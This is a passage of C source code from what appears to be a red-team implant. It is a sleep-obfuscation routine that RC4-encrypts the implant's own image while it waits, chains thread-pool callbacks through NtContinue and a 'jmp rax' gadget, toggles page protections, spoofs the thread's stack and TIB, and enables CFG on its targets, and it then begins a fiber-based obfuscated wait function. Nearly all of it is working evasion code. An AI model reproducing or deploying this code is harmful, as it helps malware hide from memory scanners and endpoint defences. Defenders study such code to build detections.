&Api.CreateThreadpool ); 767 | 768 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpool" ) ) ); 769 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpool ); 770 | 771 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "VirtualProtect" ) ) ); 772 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.VirtualProtect ); 773 | 774 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetEvent" ) ) ); 775 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetEvent ); 776 | 777 | /* Get the hook length + DLL Length */ 778 | Tbl = C_PTR( G_SYM( Table ) ); 779 | Img = C_PTR( Tbl->Table->RxBuffer ); 780 | XLn = U_PTR( Tbl->Table->RxLength ); 781 | FLn = U_PTR( Tbl->Table->ImageLength ); 782 | 783 | RandomString( &Rnd, sizeof( Rnd ) ); 784 | 785 | Key.Buffer = C_PTR( &Rnd ); 786 | Key.Length = Key.MaximumLength = sizeof( Rnd ); 787 | 788 | Buf.Buffer = C_PTR( Tbl->Table->RxBuffer ); 789 | Buf.Length = Buf.MaximumLength = Tbl->Table->ImageLength; 790 | 791 | do { 792 | /* Create synchronization event 1 */ 793 | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 794 | /* Abort! */ 795 | break; 796 | }; 797 | /* Create synchronization event 2 */ 798 | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 799 | /* Abort! */ 800 | break; 801 | }; 802 | /* Create synchronization event 3 */ 803 | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev3, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 804 | /* Abort! */ 805 | break; 806 | }; 807 | /* Create synchronization event 4 */ 808 | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev4, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 809 | /* Abort! */ 810 | break; 811 | }; 812 | 813 | /* Initialize the thread pool environment */ 814 | InitializeThreadpoolEnvironment( &Tbl->Table->Debugger.PoolEnv ); 815 | 816 | /* Create the thread pool the timer will use */ 817 | if ( !( Pol = Api.CreateThreadpool( NULL ) ) ) { 818 | /* Abort! */ 819 | break; 820 | }; 821 | 822 | /* Create the cleanup group to free memory */ 823 | if ( !( Cln = Api.CreateThreadpoolCleanupGroup() ) ) { 824 | /* Abort! */ 825 | break; 826 | }; 827 | 828 | /* Set the minimum and maximum the thread pool uses */ 829 | Api.SetThreadpoolThreadMaximum( Pol, 1 ); 830 | if ( ! Api.SetThreadpoolThreadMinimum( Pol, 1 ) ) { 831 | /* Abort! */ 832 | break; 833 | }; 834 | 835 | /* Initialize the pool environment information */ 836 | SetThreadpoolCallbackPool( & Tbl->Table->Debugger.PoolEnv, Pol ); 837 | SetThreadpoolCallbackCleanupGroup( & Tbl->Table->Debugger.PoolEnv, Cln, NULL ); 838 | 839 | /* Flags to query for! */ 840 | Ctx.ContextFlags = CONTEXT_FULL; 841 | 842 | /* Create the first time and spawn the new thread */ 843 | if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.RtlCaptureContext, &Ctx, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) { 844 | if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.SetEvent, Ev1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) { 845 | if ( NT_SUCCESS( Api.NtWaitForSingleObject( Ev1, FALSE, NULL ) ) ) { 846 | if ( !( Cap = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 847 | /* Abort! */ 848 | break; 849 | }; 850 | if ( !( Beg = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 851 | /* Abort! */ 852 | break; 853 | }; 854 | if ( !( Set = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 855 | /* Abort! */ 856 | break; 857 | }; 858 | if ( !( Enc = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 859 | /* Abort! */ 860 | break; 861 | }; 862 | if ( !( Gt1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 863 | /* Abort! */ 864 | break; 865 | }; 866 | if ( !( Cp1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 867 | /* Abort! */ 868 | break; 869 | }; 870 | if ( !( Cp2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 871 | /* Abort! */ 872 | break; 873 | }; 874 | if ( !( St1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 875 | /* Abort! */ 876 | break; 877 | }; 878 | if ( !( Sev = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 879 | /* Abort! */ 880 | break; 881 | }; 882 | if ( !( Blk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 883 | /* Abort! */ 884 | break; 885 | }; 886 | if ( !( Cp3 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 887 | /* Abort! */ 888 | break; 889 | }; 890 | if ( !( St2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 891 | /* Abort! */ 892 | break; 893 | }; 894 | if ( !( Dec = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 895 | /* Abort! */ 896 | break; 897 | }; 898 | if ( !( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 899 | /* Abort! */ 900 | break; 901 | }; 902 | if ( !( End = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { 903 | /* Abort! */ 904 | break; 905 | }; 906 | 907 | /* Get the address of the jmp rax gadget */ 908 | if ( ( Gdg = GetJmpRaxTarget( ) ) != NULL ) { 909 | 910 | /* Copy the old NT_TIB structure into a stack var */ 911 | __builtin_memcpy( &Oli, & NtCurrentTeb()->NtTib, sizeof( NT_TIB ) ); 912 | 913 | /* Extract the NT_TIB structure from our thread pool thread */ 914 | if ( GetThreadInfoBlockFromStack( Ctx.Rsp, &Nwi ) ) { 915 | /* Duplicate a handle to our current thread. */ 916 | if ( NT_SUCCESS( Api.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &Src, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) { 917 | 918 | /* Enable CFG on the target function in case its blacklisted */ 919 | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtContinue ); 920 | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtResumeThread ); 921 | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtGetContextThread ); 922 | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtSetContextThread ); 923 | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.RtlCopyMappedMemory ); 924 | 925 | /* WaitForSingleObjectEx */ 926 | __builtin_memcpy( Beg, &Ctx, sizeof( CONTEXT ) ); 927 | Beg->ContextFlags = CONTEXT_FULL; 928 | Beg->Rip = U_PTR( Gdg ); 929 | Beg->Rsp -= U_PTR( sizeof( PVOID ) ); 930 | Beg->Rax = U_PTR( Api.WaitForSingleObjectEx ); 931 | Beg->Rcx = U_PTR( Ev2 ); 932 | Beg->Rdx = U_PTR( INFINITE ); 933 | Beg->R8 = U_PTR( FALSE ); 934 | 935 | /* VirtualProtect */ 936 | __builtin_memcpy( Set, &Ctx, sizeof( CONTEXT ) ); 937 | Set->ContextFlags = CONTEXT_FULL; 938 | Set->Rip = U_PTR( Gdg ); 939 | Set->Rsp -= U_PTR( sizeof( PVOID ) ); 940 | Set->Rax = U_PTR( Api.VirtualProtect ); 941 | Set->Rcx = U_PTR( Img ); 942 | Set->Rdx = U_PTR( XLn ); 943 | Set->R8 = U_PTR( PAGE_READWRITE ); 944 | Set->R9 = U_PTR( &Prt ); 945 | 946 | /* SystemFunction032 */ 947 | __builtin_memcpy( Enc, &Ctx, sizeof( CONTEXT ) ); 948 | Enc->ContextFlags = CONTEXT_FULL; 949 | Enc->Rip = U_PTR( Gdg ); 950 | Enc->Rsp -= U_PTR( sizeof( PVOID ) ); 951 | Enc->Rax = U_PTR( Api.SystemFunction032 ); 952 | Enc->Rcx = U_PTR( &Buf ); 953 | Enc->Rdx = U_PTR( &Key ); 954 | 955 | /* NtGetContextThread */ 956 | __builtin_memcpy( Gt1, &Ctx, sizeof( CONTEXT ) ); 957 | Gt1->ContextFlags = CONTEXT_FULL; 958 | Cap->ContextFlags = CONTEXT_FULL; 959 | Gt1->Rip = U_PTR( Gdg ); 960 | Gt1->Rsp -= U_PTR( sizeof( PVOID ) ); 961 | Gt1->Rax = U_PTR( Api.NtGetContextThread ); 962 | Gt1->Rcx = U_PTR( Src ); 963 | Gt1->Rdx = U_PTR( Cap ); 964 | 965 | /* RtlCopyMappedMemory */ 966 | __builtin_memcpy( Cp1, &Ctx, sizeof( CONTEXT ) ); 967 | Cp1->ContextFlags = CONTEXT_FULL; 968 | Cp1->Rip = U_PTR( Gdg ); 969 | Cp1->Rsp -= U_PTR( sizeof( PVOID ) ); 970 | Cp1->Rip = U_PTR( Api.RtlCopyMappedMemory ); 971 | Cp1->Rcx = U_PTR( & Ctx.Rip ); 972 | Cp1->Rdx = U_PTR( & Cap->Rip ); 973 | Cp1->R8 = U_PTR( sizeof( PVOID ) ); 974 | 975 | /* RtlCopyMappedMemory */ 976 | __builtin_memcpy( Cp2, &Ctx, sizeof( CONTEXT ) ); 977 | Cp2->ContextFlags = CONTEXT_FULL; 978 | Cp2->Rip = U_PTR( Gdg ); 979 | Cp2->Rsp -= U_PTR( sizeof( PVOID ) ); 980 | Cp2->Rax = U_PTR( Api.RtlCopyMappedMemory ); 981 | Cp2->Rcx = U_PTR( & NtCurrentTeb()->NtTib ); 982 | Cp2->Rdx = U_PTR( & Nwi ); 983 | Cp2->R8 = U_PTR( sizeof( NT_TIB ) ); 984 | 985 | /* NtSetContextThread */ 986 | __builtin_memcpy( St1, &Ctx, sizeof( CONTEXT ) ); 987 | St1->ContextFlags = CONTEXT_FULL; 988 | St1->Rip = U_PTR( Gdg ); 989 | St1->Rsp -= U_PTR( sizeof( PVOID ) ); 990 | St1->Rax = U_PTR( Api.NtSetContextThread ); 991 | St1->Rcx = U_PTR( Src ); 992 | St1->Rdx = U_PTR( & Ctx ); 993 | 994 | /* NtResumeThread */ 995 | __builtin_memcpy( Sev, &Ctx, sizeof( CONTEXT ) ); 996 | Sev->ContextFlags = CONTEXT_FULL; 997 | Sev->Rip = U_PTR( Gdg ); 998 | Sev->Rsp -= U_PTR( sizeof( PVOID ) ); 999 | Sev->Rax = U_PTR( Api.NtResumeThread ); 1000 | Sev->Rcx = U_PTR( Parameter->Thread ); 1001 | Sev->Rdx = U_PTR( NULL ); 1002 | 1003 | /* WaitForSingleObjectEx */ 1004 | __builtin_memcpy( Blk, &Ctx, sizeof( CONTEXT ) ); 1005 | Blk->ContextFlags = CONTEXT_FULL; 1006 | Blk->Rip = U_PTR( Gdg ); 1007 | Blk->Rsp -= U_PTR( sizeof( PVOID ) ); 1008 | Blk->Rax = U_PTR( Api.WaitForSingleObjectEx ); 1009 | Blk->Rcx = U_PTR( Parameter->Thread ); 1010 | Blk->Rdx = U_PTR( INFINITE ); 1011 | Blk->R8 = U_PTR( FALSE ); 1012 | 1013 | /* RtlCopyMappedMemory */ 1014 | __builtin_memcpy( Cp3, &Ctx, sizeof( CONTEXT ) ); 1015 | Cp3->ContextFlags = CONTEXT_FULL; 1016 | Cp3->Rip = U_PTR( Gdg ); 1017 | Cp3->Rsp -= U_PTR( sizeof( PVOID ) ); 1018 | Cp3->Rax = U_PTR( Api.RtlCopyMappedMemory ); 1019 | Cp3->Rcx = U_PTR( & NtCurrentTeb()->NtTib ); 1020 | Cp3->Rdx = U_PTR( & Oli ); 1021 | Cp3->R8 = U_PTR( sizeof( NT_TIB ) ); 1022 | 1023 | /* NtSetContextThread */ 1024 | __builtin_memcpy( St2, &Ctx, sizeof( CONTEXT ) ); 1025 | St2->ContextFlags = CONTEXT_FULL; 1026 | Cap->ContextFlags = CONTEXT_FULL; 1027 | St2->Rip = U_PTR( Gdg ); 1028 | St2->Rsp -= U_PTR( sizeof( PVOID ) ); 1029 | St2->Rax = U_PTR( Api.NtSetContextThread ); 1030 | St2->Rcx = U_PTR( Src ); 1031 | St2->Rdx = U_PTR( Cap ); 1032 | 1033 | /* SystemFunction032 */ 1034 | __builtin_memcpy( Dec, &Ctx, sizeof( CONTEXT ) ); 1035 | Dec->ContextFlags = CONTEXT_FULL; 1036 | Dec->Rip = U_PTR( Gdg ); 1037 | Dec->Rsp -= U_PTR( sizeof( PVOID ) ); 1038 | Dec->Rax = U_PTR( Api.SystemFunction032 ); 1039 | Dec->Rcx = U_PTR( &Buf ); 1040 | Dec->Rdx = U_PTR( &Key ); 1041 | 1042 | /* VirtualProtect */ 1043 | __builtin_memcpy( Res, &Ctx, sizeof( CONTEXT ) ); 1044 | Res->ContextFlags = CONTEXT_FULL; 1045 | Res->Rip = U_PTR( Gdg ); 1046 | Res->Rsp -= U_PTR( sizeof( PVOID ) ); 1047 | Res->Rax = U_PTR( Api.VirtualProtect ); 1048 | Res->Rcx = U_PTR( Img ); 1049 | Res->Rdx = U_PTR( XLn ); 1050 | Res->R8 = U_PTR( PAGE_EXECUTE_READ ); 1051 | Res->R9 = U_PTR( &Prt ); 1052 | 1053 | /* SetEvent */ 1054 | __builtin_memcpy( End, &Ctx, sizeof( CONTEXT ) ); 1055 | End->ContextFlags = CONTEXT_FULL; 1056 | End->Rip = U_PTR( Gdg ); 1057 | End->Rsp -= U_PTR( sizeof( PVOID ) ); 1058 | End->Rax = U_PTR( Api.SetEvent ); 1059 | End->Rcx = U_PTR( Ev3 ); 1060 | 1061 | /* Query all the API calls in the order in which they need to run */ 1062 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Beg, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1063 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Set, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1064 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Enc, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1065 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Gt1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1066 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1067 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1068 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1069 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Sev, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1070 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Blk, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1071 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp3, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1072 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1073 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Dec, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1074 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Res, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1075 | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, End, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; 1076 | 1077 | /* Adjust the offset before setting our new frame */ 1078 | Ctx.Rsp -= U_PTR( sizeof( PVOID ) ); 1079 | 1080 | /* Execute and await the frame results! */ 1081 | Api.NtSignalAndWaitForSingleObject( Ev2, Ev3, FALSE, NULL ); 1082 | }; 1083 | }; 1084 | }; 1085 | }; 1086 | }; 1087 | }; 1088 | } while ( 0 ); 1089 | 1090 | if ( Ev1 != NULL ) { 1091 | Api.NtClose( Ev1 ); 1092 | }; 1093 | if ( Ev2 != NULL ) { 1094 | Api.NtClose( Ev2 ); 1095 | }; 1096 | if ( Ev3 != NULL ) { 1097 | Api.NtClose( Ev3 ); 1098 | }; 1099 | if ( Ev4 != NULL ) { 1100 | Api.NtClose( Ev4 ); 1101 | }; 1102 | if ( Que != NULL ) { 1103 | Api.RtlDeregisterWait( Que ); 1104 | }; 1105 | if ( Cap != NULL ) { 1106 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cap ); 1107 | }; 1108 | if ( Beg != NULL ) { 1109 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Beg ); 1110 | }; 1111 | if ( Set != NULL ) { 1112 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Set ); 1113 | }; 1114 | if ( Enc != NULL ) { 1115 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Enc ); 1116 | }; 1117 | if ( Gt1 != NULL ) { 1118 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Gt1 ); 1119 | }; 1120 | if ( Cp1 != NULL ) { 1121 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp1 ); 1122 | }; 1123 | if ( Cp2 != NULL ) { 1124 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp2 ); 1125 | }; 1126 | if ( St1 != NULL ) { 1127 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St1 ); 1128 | }; 1129 | if ( Sev != NULL ) { 1130 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Sev ); 1131 | }; 1132 | if ( Blk != NULL ) { 1133 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Blk ); 1134 | }; 1135 | if ( Cp3 != NULL ) { 1136 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp3 ); 1137 | }; 1138 | if ( St2 != NULL ) { 1139 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St2 ); 1140 | }; 1141 | if ( Dec != NULL ) { 1142 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Dec ); 1143 | }; 1144 | if ( Res != NULL ) { 1145 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res ); 1146 | }; 1147 | if ( End != NULL ) { 1148 | Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, End ); 1149 | }; 1150 | if ( Cln != NULL ) { 1151 | /* Close the thread pool cleanup */ 1152 | Api.CloseThreadpoolCleanupGroupMembers( Cln, TRUE, NULL ); 1153 | }; 1154 | if ( Pol != NULL ) { 1155 | /* Close the pool */ 1156 | Api.CloseThreadpool( Pol ); 1157 | }; 1158 | if ( Src != NULL ) { 1159 | /* Close the thread handle */ 1160 | Api.NtClose( Src ); 1161 | }; 1162 | 1163 | /* Dereference */ 1164 | Api.LdrUnloadDll( Adv ); 1165 | }; 1166 | 1167 | /* Dereference */ 1168 | Api.LdrUnloadDll( K32 ); 1169 | }; 1170 | 1171 | /* Zero out stack structures */ 1172 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 1173 | RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) ); 1174 | RtlSecureZeroMemory( &Oli, sizeof( Oli ) ); 1175 | RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) ); 1176 | RtlSecureZeroMemory( &Key, sizeof( Key ) ); 1177 | RtlSecureZeroMemory( &Buf, sizeof( Buf ) ); 1178 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 1179 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 1180 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 1181 | 1182 | /* Switch back to the primary 'stack' master */ 1183 | Parameter->SwitchToFiber( Parameter->Master ); 1184 | }; 1185 | 1186 | /*! 1187 | * 1188 | * Purpose: 1189 | * 1190 | * Executes NtWaitForSingleObject while obfuscated. 1191 | * Once the wait has completed, the result will be 1192 | * returned back to us. 1193 | * 1194 | !*/ 1195 | D_SEC( E ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_ PLARGE_INTEGER Timeout ) 1196 | { 1197 | MIN_API Api; 1198 | CONTEXT Ctx; 1199 | ANSI_STRING Ani; 1200 | FIBER_PARAM Fbr; 1201 | THREAD_PARAM Prm; 1202 | UNICODE_STRING Uni; 1203 | THREAD_BASIC_INFORMATION Tbi; 1204 | 1205 | ULONG Stl = 0; 1206 | NTSTATUS Nst = STATUS_UNSUCCESSFUL; 1207 | 1208 | PTEB Teb = NULL; 1209 | PVOID Ptr = NULL; 1210 | PVOID K32 = NULL; 1211 | LPVOID Ent = NULL; 1212 | LPVOID Stk = NULL; 1213 | HANDLE Thd = NULL; 1214 | 1215 | /* Zero out stack structures */ 1216 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 1217 | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); 1218 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 1219 | RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) ); 1220 | RtlSecureZeroMemory( &Prm, sizeof( Prm ) ); 1221 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 1222 | RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) ); 1223 | 1224 | Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD ); 1225 | Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); 1226 | Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT ); 1227 | Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING ); 1228 | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); 1229 | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); 1230 | Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); 1231 | Api.NtCreateThreadEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATETHREADEX ); 1232 | Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); 1233 | Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD ); 1234 | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); 1235 | Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT ); 1236 | Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL ); 1237 | Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP ); 1238 | Api.NtSetEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETEVENT ); 1239 | Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); 1240 | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); 1241 | 1242 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) ); 1243 | Api.LdrLoadDll( NULL, 0, &Uni, &K32 ); 1244 | 1245 | if ( K32 != NULL ) { 1246 | 1247 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertThreadToFiber" ) ) ); 1248 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertThreadToFiber ); 1249 | 1250 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertFiberToThread" ) ) ); 1251 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertFiberToThread ); 1252 | 1253 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SwitchToFiber" ) ) ); 1254 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SwitchToFiber ); 1255 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Fbr.SwitchToFiber ); 1256 | 1257 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateFiber" ) ) ); 1258 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateFiber ); 1259 | 1260 | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "DeleteFiber" ) ) ); 1261 | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.DeleteFiber ); 1262 | 1263 | /* Locate ntdll!RtlUserThreadStart */ 1264 | Ent = C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), 0x0353797c ) ); 1265 | 1266 | /* Create thread pointing at our thread capture routine */ 1267 | if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) { 1268 | 1269 | /* Create an notification to alert when we have the rest of the params filled */ 1270 | if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 1271 | /* Create a notifiation to alert when the thread should run the new frame */ 1272 | if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { 1273 | 1274 | /* Capture information about the thread */ 1275 | Ctx.ContextFlags = CONTEXT_FULL; 1276 | 1277 | /* Get the CONTEXT structure */ 1278 | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { 1279 | 1280 | /* Set our actual values */ 1281 | Ctx.ContextFlags = CONTEXT_FULL; 1282 | Ctx.Rcx = U_PTR( G_SYM( ThreadCaptureReturnAddr ) ); 1283 | Ctx.Rdx = U_PTR( &Prm ); 1284 | 1285 | /* Set the CONTEXT structure */ 1286 | if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) { 1287 | /* Resume the thread */ 1288 | if ( NT_SUCCESS( Api.NtResumeThread( Thd, NULL ) ) ) { 1289 | /* Await for the thread to signal */ 1290 | if ( NT_SUCCESS( Api.NtWaitForSingleObject( Prm.Ev1, FALSE, NULL ) ) ) { 1291 | /* Query THREAD_BASIC_INFORMATION about the thread */ 1292 | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) { 1293 | Teb = C_PTR( Tbi.TebBaseAddress ); 1294 | Stl = U_PTR( Teb->NtTib.StackBase ) - U_PTR( Prm.Rsp ); 1295 | 1296 | /* Allocate memory to hold the stack */ 1297 | if ( ( Stk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, 